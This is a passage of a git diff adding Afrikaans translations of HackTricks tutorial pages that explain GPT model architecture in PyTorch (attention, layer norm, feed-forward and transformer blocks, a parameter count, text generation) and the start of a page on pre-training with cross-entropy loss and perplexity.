(b, num_tokens, num_heads, head_dim)
+keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
+values = values.view(b, num_tokens, self.num_heads, self.head_dim)
+queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
+
+# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
+keys = keys.transpose(1, 2)
+queries = queries.transpose(1, 2)
+values = values.transpose(1, 2)
+
+# Compute scaled dot-product attention (aka self-attention) with a causal mask
+attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
+
+# Original mask truncated to the number of tokens and converted to boolean
+mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
+
+# Use the mask to fill attention scores
+attn_scores.masked_fill_(mask_bool, -torch.inf)
+
+attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
+attn_weights = self.dropout(attn_weights)
+
+# Shape: (b, num_tokens, num_heads, head_dim)
+context_vec = (attn_weights @ values).transpose(1, 2)
+
+# Combine heads, where self.d_out = self.num_heads * self.head_dim
+context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
+context_vec = self.out_proj(context_vec) # optional projection
+
+return context_vec
+
+class LayerNorm(nn.Module):
+def __init__(self, emb_dim):
+super().__init__()
+self.eps = 1e-5
+self.scale = nn.Parameter(torch.ones(emb_dim))
+self.shift = nn.Parameter(torch.zeros(emb_dim))
+
+def forward(self, x):
+mean = x.mean(dim=-1, keepdim=True)
+var = x.var(dim=-1, keepdim=True, unbiased=False)
+norm_x = (x - mean) / torch.sqrt(var + self.eps)
+return self.scale * norm_x + self.shift
+
+class TransformerBlock(nn.Module):
+def __init__(self, cfg):
+super().__init__()
+self.att = MultiHeadAttention(
+d_in=cfg["emb_dim"],
+d_out=cfg["emb_dim"],
+context_length=cfg["context_length"],
+num_heads=cfg["n_heads"],
+dropout=cfg["drop_rate"],
+qkv_bias=cfg["qkv_bias"])
+self.ff = FeedForward(cfg)
+self.norm1 = LayerNorm(cfg["emb_dim"])
+self.norm2 = LayerNorm(cfg["emb_dim"])
+self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
+
+def forward(self, x):
+# Shortcut connection for attention block
+shortcut = x
+x = self.norm1(x)
+x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
+x = self.drop_shortcut(x)
+x = x + shortcut # Add the original input back
+
+# Shortcut connection for feed forward block
+shortcut = x
+x = self.norm2(x)
+x = self.ff(x)
+x = self.drop_shortcut(x)
+x = x + shortcut # Add the original input back
+
+return x
+
+
+class GPTModel(nn.Module):
+def __init__(self, cfg):
+super().__init__()
+self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
+self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
+self.drop_emb = nn.Dropout(cfg["drop_rate"])
+
+self.trf_blocks = nn.Sequential(
+*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
+
+self.final_norm = LayerNorm(cfg["emb_dim"])
+self.out_head = nn.Linear(
+cfg["emb_dim"], cfg["vocab_size"], bias=False
+)
+
+def forward(self, in_idx):
+batch_size, seq_len = in_idx.shape
+tok_embeds = self.tok_emb(in_idx)
+pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
+x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
+x = self.drop_emb(x)
+x = self.trf_blocks(x)
+x = self.final_norm(x)
+logits = self.out_head(x)
+return logits
+
+GPT_CONFIG_124M = {
+"vocab_size": 50257, # Vocabulary size
+"context_length": 1024, # Context length
+"emb_dim": 768, # Embedding dimension
+"n_heads": 12, # Number of attention heads
+"n_layers": 12, # Number of layers
+"drop_rate": 0.1, # Dropout rate
+"qkv_bias": False # Query-Key-Value bias
+}
+
+torch.manual_seed(123)
+model = GPTModel(GPT_CONFIG_124M)
+out = model(batch)
+print("Input batch:\n", batch)
+print("\nOutput shape:", out.shape)
+print(out)
+```
+Kom ons verduidelik dit stap vir stap:[[2]](#references)
+
+### **GELU-aktiveringsfunksie**
+```python
+# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
+class GELU(nn.Module):
+def __init__(self):
+super().__init__()
+
+def forward(self, x):
+return 0.5 * x * (1 + torch.tanh(
+torch.sqrt(torch.tensor(2.0 / torch.pi)) *
+(x + 0.044715 * torch.pow(x, 3))
+))
+```
+#### **Doel en Funksionaliteit**
+
+- **GELU (Gaussian Error Linear Unit):** ’n activation function wat nie-lineariteit in die model invoer.
+- **Gladde Activation:** Anders as ReLU, wat negatiewe invoere tot nul reduseer, karteer GELU invoere gladweg na uitsette, wat klein, nie-nul waardes vir negatiewe invoere moontlik maak.
+- **Wiskundige Definisie:**
+
+
+
+> [!TIP]
+> Die doel van die gebruik van hierdie funksie ná lineêre lae binne die FeedForward-laag is om die lineêre data na nie-lineêre data te verander, sodat die model komplekse, nie-lineêre verhoudings kan aanleer.
+
+### **FeedForward Neural Network**
+
+_Vorms is as kommentare bygevoeg om die vorms van matrikse beter te verstaan:_
+```python
+# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
+class FeedForward(nn.Module):
+def __init__(self, cfg):
+super().__init__()
+self.layers = nn.Sequential(
+nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
+GELU(),
+nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
+)
+
+def forward(self, x):
+# x shape: (batch_size, seq_len, emb_dim)
+
+x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim)
+x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim)
+x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim)
+return x # Output shape: (batch_size, seq_len, emb_dim)
+```
+#### **Doel en Funksionaliteit**
+
+- **Posisiegebaseerde FeedForward Network:** Pas 'n tweelaag-volledig-verbonde netwerk afsonderlik en identies op elke posisie toe.
+- **Laagbesonderhede:**
+- **Eerste lineêre laag:** Brei die dimensionaliteit uit van `emb_dim` na `4 * emb_dim`.
+- **GELU-aktivering:** Pas nie-lineariteit toe.
+- **Tweede lineêre laag:** Verminder die dimensionaliteit terug na `emb_dim`.
+
+> [!TIP]
+> Soos jy kan sien, gebruik die Feed Forward-netwerk 3 lae. Die eerste een is 'n lineêre laag wat die dimensies met 4 sal vermenigvuldig deur lineêre gewigte te gebruik (parameters wat binne die model opgelei moet word). Daarna word die GELU-funksie op al daardie dimensies gebruik om nie-lineêre variasies toe te pas, sodat ryker representasies vasgelê kan word, en laastens word nog 'n lineêre laag gebruik om terug te keer na die oorspronklike dimensiegrootte.
+
+### **Multi-Head Attention-meganisme**
+
+Dit is reeds in 'n vroeëre afdeling verduidelik.
+
+#### **Doel en Funksionaliteit**
+
+- **Multi-Head Self-Attention:** Laat die model toe om op verskillende posisies binne die invoerreeks te fokus wanneer 'n token geënkodeer word.
+- **Sleutelkomponente:**
+- **Queries, Keys, Values:** Lineêre projeksies van die invoer wat gebruik word om attention-tellings te bereken.
+- **Heads:** Veelvuldige attention-meganismes wat parallel loop (`num_heads`), elk met 'n verminderde dimensionaliteit (`head_dim`).
+- **Attention-tellings:** Word bereken as die dot product van queries en keys, en word geskaal en gemasker.
+- **Maskering:** 'n Causal mask word toegepas om te voorkom dat die model na toekomstige tokens aandag gee (belangrik vir autoregressiewe modelle soos GPT).
+- **Attention-gewigte:** Softmax van die gemaskerde en geskaalde attention-tellings.
+- **Konteksvektor:** Geweegde som van die values volgens die attention-gewigte.
+- **Uitsetprojeksie:** Lineêre laag om die uitsette van al die heads te kombineer.
+
+> [!TIP]
+> Die doel van hierdie netwerk is om die verhoudings tussen tokens in dieselfde konteks te vind. Boonop word die tokens in verskillende heads verdeel om overfitting te voorkom, hoewel die finale verhoudings wat per head gevind word, aan die einde van hierdie netwerk gekombineer word.
+>
+> Boonop word 'n **causal mask** tydens opleiding toegepas, sodat latere tokens nie in ag geneem word wanneer die spesifieke verhoudings tot 'n token ondersoek word nie, en word daar ook 'n mate van **dropout** toegepas om **overfitting te voorkom**.
+
+### **Laag**-normalisering
+```python
+# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
+class LayerNorm(nn.Module):
+def __init__(self, emb_dim):
+super().__init__()
+self.eps = 1e-5 # Prevent division by zero during normalization.
+self.scale = nn.Parameter(torch.ones(emb_dim))
+self.shift = nn.Parameter(torch.zeros(emb_dim))
+
+def forward(self, x):
+mean = x.mean(dim=-1, keepdim=True)
+var = x.var(dim=-1, keepdim=True, unbiased=False)
+norm_x = (x - mean) / torch.sqrt(var + self.eps)
+return self.scale * norm_x + self.shift
+```
+#### **Doel en Funksionaliteit**
+
+- **Laagnormalisering:** ’n Tegniek wat gebruik word om die insette oor die kenmerke (inbeddingsdimensies) vir elke individuele voorbeeld in ’n batch te normaliseer.
+- **Komponente:**
+- **`eps`:** ’n Klein konstante (`1e-5`) wat by die variansie gevoeg word om deling deur nul tydens normalisering te voorkom.
+- **`scale` en `shift`:** Leerbare parameters (`nn.Parameter`) wat die model toelaat om die genormaliseerde uitvoer te skaleer en te verskuif. Hulle word onderskeidelik met ene en nulle geïnisialiseer.
+- **Normaliseringsproses:**
+- **Bereken gemiddelde (`mean`):** Bereken die gemiddelde van die insette `x` oor die inbeddingsdimensie (`dim=-1`) en behou die dimensie vir broadcasting (`keepdim=True`).
+- **Bereken variansie (`var`):** Bereken die variansie van `x` oor die inbeddingsdimensie en behou ook die dimensie. Die `unbiased=False`-parameter verseker dat die variansie met die bevooroordeelde beramer bereken word (deling deur `N` in plaas van `N-1`), wat toepaslik is wanneer daar oor kenmerke eerder as voorbeelde genormaliseer word.
+- **Normaliseer (`norm_x`):** Trek die gemiddelde van `x` af en deel deur die vierkantswortel van die variansie plus `eps`.
+- **Skaal en verskuif:** Pas die leerbare `scale`- en `shift`-parameters op die genormaliseerde uitvoer toe.
+
+> [!TIP]
+> Die doel is om ’n gemiddelde van 0 met ’n variansie van 1 oor alle dimensies van dieselfde token te verseker. Die doel hiervan is om **die opleiding van diep neurale netwerke te stabiliseer** deur die interne kovariaatverskuiwing te verminder, wat verwys na die verandering in die verspreiding van netwerkaktiverings as gevolg van die opdatering van parameters tydens opleiding.
+
+### **Transformer-blok**
+
+_Vorms is as kommentaar bygevoeg om die vorms van matrikse beter te verstaan:_
+```python
+# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
+
+class TransformerBlock(nn.Module):
+def __init__(self, cfg):
+super().__init__()
+self.att = MultiHeadAttention(
+d_in=cfg["emb_dim"],
+d_out=cfg["emb_dim"],
+context_length=cfg["context_length"],
+num_heads=cfg["n_heads"],
+dropout=cfg["drop_rate"],
+qkv_bias=cfg["qkv_bias"]
+)
+self.ff = FeedForward(cfg)
+self.norm1 = LayerNorm(cfg["emb_dim"])
+self.norm2 = LayerNorm(cfg["emb_dim"])
+self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
+
+def forward(self, x):
+# x shape: (batch_size, seq_len, emb_dim)
+
+# Shortcut connection for attention block
+shortcut = x # shape: (batch_size, seq_len, emb_dim)
+x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim)
+x = self.att(x) # shape: (batch_size, seq_len, emb_dim)
+x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
+x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
+
+# Shortcut connection for feedforward block
+shortcut = x # shape: (batch_size, seq_len, emb_dim)
+x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim)
+x = self.ff(x) # shape: (batch_size, seq_len, emb_dim)
+x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
+x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
+
+return x # Output shape: (batch_size, seq_len, emb_dim)
+
+```
+#### **Doel en Funksionaliteit**
+
+- **Samestelling van Lae:** Kombineer multi-head attention, feedforward network, layer normalization en residual connections.
+- **Layer Normalization:** Word voor die attention- en feedforward-lae toegepas vir stabiele training.
+- **Residual Connections (Shortcuts):** Voeg die input van ’n laag by sy output om gradient flow te verbeter en training van deep networks moontlik te maak.
+- **Dropout:** Word ná die attention- en feedforward-lae toegepas vir regularization.
+
+#### **Stap-vir-Stap Funksionaliteit**
+
+1. **First Residual Path (Self-Attention):**
+- **Input (`shortcut`):** Stoor die oorspronklike input vir die residual connection.
+- **Layer Norm (`norm1`):** Normaliseer die input.
+- **Multi-Head Attention (`att`):** Pas self-attention toe.
+- **Dropout (`drop_shortcut`):** Pas dropout toe vir regularization.
+- **Add Residual (`x + shortcut`):** Kombineer dit met die oorspronklike input.
+2. **Second Residual Path (FeedForward):**
+- **Input (`shortcut`):** Stoor die opgedateerde input vir die volgende residual connection.
+- **Layer Norm (`norm2`):** Normaliseer die input.
+- **FeedForward Network (`ff`):** Pas die feedforward transformation toe.
+- **Dropout (`drop_shortcut`):** Pas dropout toe.
+- **Add Residual (`x + shortcut`):** Kombineer dit met die input van die eerste residual path.
+
+> [!TIP]
+> Die transformer block groepeer al die networks saam en pas **normalization** en **dropouts** toe om die training stability en resultate te verbeter.\
+> Let op dat dropouts ná die gebruik van elke network gedoen word, terwyl normalization vooraf toegepas word.
+>
+> Dit gebruik ook shortcuts, wat bestaan uit die **optel van die output van ’n network by sy input**. Dit help om die vanishing gradient-probleem te voorkom deur seker te maak dat aanvanklike lae "soveel as" die laaste lae bydra.
+
+### **GPTModel**
+
+_Shapes is as comments bygevoeg om die shapes van matrikse beter te verstaan:_
+```python
+# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
+class GPTModel(nn.Module):
+def __init__(self, cfg):
+super().__init__()
+self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
+# shape: (vocab_size, emb_dim)
+
+self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
+# shape: (context_length, emb_dim)
+
+self.drop_emb = nn.Dropout(cfg["drop_rate"])
+
+self.trf_blocks = nn.Sequential(
+*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]
+)
+# Stack of TransformerBlocks
+
+self.final_norm = LayerNorm(cfg["emb_dim"])
+self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
+# shape: (emb_dim, vocab_size)
+
+def forward(self, in_idx):
+# in_idx shape: (batch_size, seq_len)
+batch_size, seq_len = in_idx.shape
+
+# Token embeddings
+tok_embeds = self.tok_emb(in_idx)
+# shape: (batch_size, seq_len, emb_dim)
+
+# Positional embeddings
+pos_indices = torch.arange(seq_len, device=in_idx.device)
+# shape: (seq_len,)
+pos_embeds = self.pos_emb(pos_indices)
+# shape: (seq_len, emb_dim)
+
+# Add token and positional embeddings
+x = tok_embeds + pos_embeds # Broadcasting over batch dimension
+# x shape: (batch_size, seq_len, emb_dim)
+
+x = self.drop_emb(x) # Dropout applied
+# x shape remains: (batch_size, seq_len, emb_dim)
+
+x = self.trf_blocks(x) # Pass through Transformer blocks
+# x shape remains: (batch_size, seq_len, emb_dim)
+
+x = self.final_norm(x) # Final LayerNorm
+# x shape remains: (batch_size, seq_len, emb_dim)
+
+logits = self.out_head(x) # Project to vocabulary size
+# logits shape: (batch_size, seq_len, vocab_size)
+
+return logits # Output shape: (batch_size, seq_len, vocab_size)
+```
+#### **Doel en funksionaliteit**
+
+- **Embedding-lae:**
+- **Token Embeddings (`tok_emb`):** Skakel token-indekse om na embeddings. Ter herinnering, dit is die gewigte wat aan elke dimensie van elke token in die woordeskat toegeken word.
+- **Positional Embeddings (`pos_emb`):** Voeg posisionele inligting by die embeddings om die volgorde van tokens vas te lê. Ter herinnering, dit is die gewigte wat volgens die token se posisie in die teks aan die token toegeken word.
+- **Dropout (`drop_emb`):** Word op embeddings toegepas vir regularisering.
+- **Transformer Blocks (`trf_blocks`):** ’n Stapel van `n_layers` transformer blocks om embeddings te verwerk.
+- **Finale normalisering (`final_norm`):** Laagnormalisering voor die output-laag.
+- **Output-laag (`out_head`):** Projekteer die finale hidden states na die grootte van die woordeskat om logits vir voorspelling te genereer.
+
+> [!TIP]
+> Die doel van hierdie klas is om al die ander genoemde netwerke te gebruik om **die volgende token in ’n sequence te voorspel**, wat fundamenteel is vir take soos teksgenerering.
+>
+> Let daarop dat dit **soveel transformer blocks sal gebruik as wat aangedui word** en dat elke transformer block een multi-head attention-netwerk, een feed-forward-netwerk en verskeie normaliserings gebruik. As 12 transformer blocks gebruik word, vermenigvuldig dit dus met 12.
+>
+> Boonop word ’n **normaliseringslaag** **voor** die **output** bygevoeg, en ’n finale lineêre laag word aan die einde toegepas om die resultate met die korrekte dimensies te verkry. Let daarop dat elke finale vektor die grootte van die gebruikte woordeskat het. Dit is omdat dit ’n waarskynlikheid vir elke moontlike token binne die woordeskat probeer verkry.
+
+## Aantal parameters om te train
+
+Nadat die GPT-struktuur gedefinieer is, is dit moontlik om die aantal parameters om te train te bepaal:[[1]](#references)
+```python
+GPT_CONFIG_124M = {
+"vocab_size": 50257, # Vocabulary size
+"context_length": 1024, # Context length
+"emb_dim": 768, # Embedding dimension
+"n_heads": 12, # Number of attention heads
+"n_layers": 12, # Number of layers
+"drop_rate": 0.1, # Dropout rate
+"qkv_bias": False # Query-Key-Value bias
+}
+
+model = GPTModel(GPT_CONFIG_124M)
+total_params = sum(p.numel() for p in model.parameters())
+print(f"Total number of parameters: {total_params:,}")
+# Total number of parameters: 163,009,536
+```
+### **Stap-vir-stap-berekening**
+
+#### **1. Inbeddingslae: Token-inbedding & Posisie-inbedding**
+
+- **Laag:** `nn.Embedding(vocab_size, emb_dim)`
+- **Parameters:** `vocab_size * emb_dim`
+```python
+token_embedding_params = 50257 * 768 = 38,597,376
+```
+- **Laag:** `nn.Embedding(context_length, emb_dim)`
+- **Parameters:** `context_length * emb_dim`
+```python
+position_embedding_params = 1024 * 768 = 786,432
+```
+**Totale Embedding-parameters**
+```python
+embedding_params = token_embedding_params + position_embedding_params
+embedding_params = 38,597,376 + 786,432 = 39,383,808
+```
+#### **2. Transformerblokke**
+
+Daar is 12 transformerblokke, dus ons sal die parameters vir een blok bereken en dit dan met 12 vermenigvuldig.
+
+**Parameters per Transformerblok**
+
+**a. Multi-Head Attention**
+
+- **Komponente:**
+- **Query Linear Layer (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
+- **Key Linear Layer (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
+- **Value Linear Layer (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
+- **Output Projection (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
+- **Berekeninge:**
+
+- **Elkeen van `W_query`, `W_key`, `W_value`:**
+
+```python
+qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
+```
+
+Omdat daar drie sulke lae is:
+
+```python
+total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
+```
+
+- **Output Projection (`out_proj`):**
+
+```python
+out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
+```
+
+- **Totale Multi-Head Attention-parameters:**
+
+```python
+mha_params = total_qkv_params + out_proj_params
+mha_params = 1,769,472 + 590,592 = 2,360,064
+```
+
+**b. FeedForward Network**
+
+- **Komponente:**
+- **Eerste Linear Layer:** `nn.Linear(emb_dim, 4 * emb_dim)`
+- **Tweede Linear Layer:** `nn.Linear(4 * emb_dim, emb_dim)`
+- **Berekeninge:**
+
+- **Eerste Linear Layer:**
+
+```python
+ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
+ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
+```
+
+- **Tweede Linear Layer:**
+
+```python
+ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
+ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
+```
+
+- **Totale FeedForward-parameters:**
+
+```python
+ff_params = ff_first_layer_params + ff_second_layer_params
+ff_params = 2,362,368 + 2,360,064 = 4,722,432
+```
+
+**c. Laag-normaliserings**
+
+- **Komponente:**
+- Twee `LayerNorm`-instansies per blok.
+- Elke `LayerNorm` het `2 * emb_dim` parameters (skaal en verskuiwing).
+- **Berekeninge:**
+
+```python
+pythonCopy codelayer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
+```
+
+**d. Totale parameters per Transformerblok**
+```python
+pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
+params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
+```
+**Totale parameters vir alle Transformer-blokke**
+```python
+pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
+total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
+```
+#### **3. Finale lae**
+
+**a. Normalisering van finale laag**
+
+- **Parameters:** `2 * emb_dim` (skaal en verskuiwing)
+```python
+pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
+```
+**b. Uitsetprojeksielaag (`out_head`)**
+
+- **Laag:** `nn.Linear(emb_dim, vocab_size, bias=False)`
+- **Parameters:** `emb_dim * vocab_size`
+```python
+pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376
+```
+#### **4. Tel alle parameters op**
+```python
+pythonCopy codetotal_params = (
+embedding_params +
+total_transformer_blocks_params +
+final_layer_norm_params +
+output_projection_params
+)
+total_params = (
+39,383,808 +
+85,026,816 +
+1,536 +
+38,597,376
+)
+total_params = 163,009,536
+```
+## Genereer teks
+
+Wanneer jy ’n model het wat die volgende token, soos die een daarvoor, voorspel, hoef jy net die waardes van die laaste token uit die output te neem (aangesien dit die waardes van die voorspelde token sal wees). Dit sal ’n **waarde per inskrywing in die vocabulary** wees. Gebruik dan die `softmax`-funksie om die dimensies na probabilities te normaliseer wat optel tot 1, en kry vervolgens die index van die grootste inskrywing. Dit sal die index van die woord binne die vocabulary wees.
+
+Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):[[1]](#references)
+```python
+def generate_text_simple(model, idx, max_new_tokens, context_size):
+# idx is (batch, n_tokens) array of indices in the current context
+for _ in range(max_new_tokens):
+
+# Crop current context if it exceeds the supported context size
+# E.g., if LLM supports only 5 tokens, and the context size is 10
+# then only the last 5 tokens are used as context
+idx_cond = idx[:, -context_size:]
+
+# Get the predictions
+with torch.no_grad():
+logits = model(idx_cond)
+
+# Focus only on the last time step
+# (batch, n_tokens, vocab_size) becomes (batch, vocab_size)
+logits = logits[:, -1, :]
+
+# Apply softmax to get probabilities
+probas = torch.softmax(logits, dim=-1) # (batch, vocab_size)
+
+# Get the idx of the vocab entry with the highest probability value
+idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1)
+
+# Append sampled index to the running sequence
+idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1)
+
+return idx
+
+
+start_context = "Hello, I am"
+
+encoded = tokenizer.encode(start_context)
+print("encoded:", encoded)
+
+encoded_tensor = torch.tensor(encoded).unsqueeze(0)
+print("encoded_tensor.shape:", encoded_tensor.shape)
+
+model.eval() # disable dropout
+
+out = generate_text_simple(
+model=model,
+idx=encoded_tensor,
+max_new_tokens=6,
+context_size=GPT_CONFIG_124M["context_length"]
+)
+
+print("Output:", out)
+print("Output length:", len(out[0]))
+```
+## Verwysings
+
+- [1] [LLMs-from-scratch, Hoofstuk 4-kode (rasbt/LLMs-from-scratch, GitHub)](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb)
+- [2] [Bou 'n Large Language Model (Van nuuts af) - Manning](https://www.manning.com/books/build-a-large-language-model-from-scratch)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md
new file mode 100644
index 00000000000..0cf4e7051c2
--- /dev/null
+++ b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md
@@ -0,0 +1,1035 @@
+# 6. Vooraf-opleiding & Laai modelle
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Teksgenerering
+
+Om 'n model te train, moet daardie model nuwe tokens kan genereer. Daarna sal ons die gegenereerde tokens met die verwagte tokens vergelyk om die model te train om **die tokens te leer wat dit moet genereer**.
+
+Soos in die vorige voorbeelde waar ons reeds sommige tokens voorspel het, is dit moontlik om daardie funksie vir hierdie doel te hergebruik.
+
+> [!TIP]
+> Die doel van hierdie sesde fase is baie eenvoudig: **Train die model van nuuts af**. Hiervoor sal die vorige LLM-argitektuur gebruik word, met sommige lusse wat oor die datastelle gaan deur die gedefinieerde verliesfunksies en optimizer te gebruik om al die parameters van die model te train.
+
+## Teks-evaluering
+
+Om korrekte training uit te voer, moet die voorspellings wat vir die verwagte token verkry is, gemeet en nagegaan word. Die doel van die training is om die waarskynlikheid van die korrekte token te maksimeer, wat behels dat die waarskynlikheid daarvan relatief tot ander tokens verhoog word.
+
+Om die waarskynlikheid van die korrekte token te maksimeer, moet die gewigte van die model gewysig word sodat daardie waarskynlikheid gemaksimeer word. Die opdatering van die gewigte word deur **backpropagation** gedoen. Dit vereis 'n **verliesfunksie om te maksimeer**. In hierdie geval sal die funksie die **verskil tussen die uitgevoerde voorspelling en die verlangde een** wees.
+
+In plaas daarvan om egter met die rou voorspellings te werk, sal daar met 'n logaritme met basis n gewerk word. As die huidige voorspelling van die verwagte token byvoorbeeld 7.4541e-05 was, is die natuurlike logaritme (basis *e*) van **7.4541e-05** ongeveer **-9.5042**.\
+Dan sal die model vir elke inskrywing met 'n kontekslengte van byvoorbeeld 5 tokens, 5 tokens moet voorspel: die eerste 4 tokens is die laaste een van die invoer en die vyfde is die voorspelde een. Daarom sal ons in daardie geval 5 voorspellings vir elke inskrywing hê (selfs al was die eerste 4 in die invoer, weet die model dit nie) met 5 verwagte tokens en dus 5 waarskynlikhede om te maksimeer.
+
+Daarom word die **gemiddelde** bereken nadat die natuurlike logaritme op elke voorspelling toegepas is, die **minus-simbool verwyder** (dit word _kruis-entropieverlies_ genoem), en dit is die **getal wat so na as moontlik aan 0 verminder moet word**, omdat die natuurlike logaritme van 1 0 is:
+
+https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233
+
+'n Ander manier om te meet hoe goed die model is, word perplexity genoem. **Perplexity** is 'n maatstaf wat gebruik word om te evalueer hoe goed 'n probability-model 'n voorbeeld voorspel. In language modelling verteenwoordig dit die **model se onsekerheid** wanneer die volgende token in 'n reeks voorspel word.\
+Byvoorbeeld, 'n perplexity-waarde van 48725 beteken dat, wanneer 'n token voorspel moet word, die model onseker is oor watter een van die 48 725 tokens in die woordeskat die korrekte een is.
+
+## Voorbeeld van vooraf-training
+
+Dit is die aanvanklike code wat voorgestel word in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb), wat soms effens gewysig is.
+
+
+
+Vorige code wat hier gebruik word, maar reeds in vorige afdelings verduidelik is
+```python
+"""
+This is code explained before so it won't be exaplained
+"""
+
+import tiktoken
+import torch
+import torch.nn as nn
+from torch.utils.data import Dataset, DataLoader
+
+
+class GPTDatasetV1(Dataset):
+def __init__(self, txt, tokenizer, max_length, stride):
+self.input_ids = []
+self.target_ids = []
+
+# Tokenize the entire text
+token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
+
+# Use a sliding window to chunk the book into overlapping sequences of max_length
+for i in range(0, len(token_ids) - max_length, stride):
+input_chunk = token_ids[i:i + max_length]
+target_chunk = token_ids[i + 1: i + max_length + 1]
+self.input_ids.append(torch.tensor(input_chunk))
+self.target_ids.append(torch.tensor(target_chunk))
+
+def __len__(self):
+return len(self.input_ids)
+
+def __getitem__(self, idx):
+return self.input_ids[idx], self.target_ids[idx]
+
+
+def create_dataloader_v1(txt, batch_size=4, max_length=256,
+stride=128, shuffle=True, drop_last=True, num_workers=0):
+# Initialize the tokenizer
+tokenizer = tiktoken.get_encoding("gpt2")
+
+# Create dataset
+dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
+
+# Create dataloader
+dataloader = DataLoader(
+dataset, batch_size=batch_size, shuffle=shuffle, drop_last=drop_last, num_workers=num_workers)
+
+return dataloader
+
+
+class MultiHeadAttention(nn.Module):
+def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
+super().__init__()
+assert d_out % num_heads == 0, "d_out must be divisible by n_heads"
+
+self.d_out = d_out
+self.num_heads = num_heads
+self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
+
+self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
+self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
+self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
+self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
+self.dropout = nn.Dropout(dropout)
+self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
+
+def forward(self, x):
+b, num_tokens, d_in = x.shape
+
+keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
+queries = self.W_query(x)
+values = self.W_value(x)
+
+# We implicitly split the matrix by adding a `num_heads` dimension
+# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
+keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
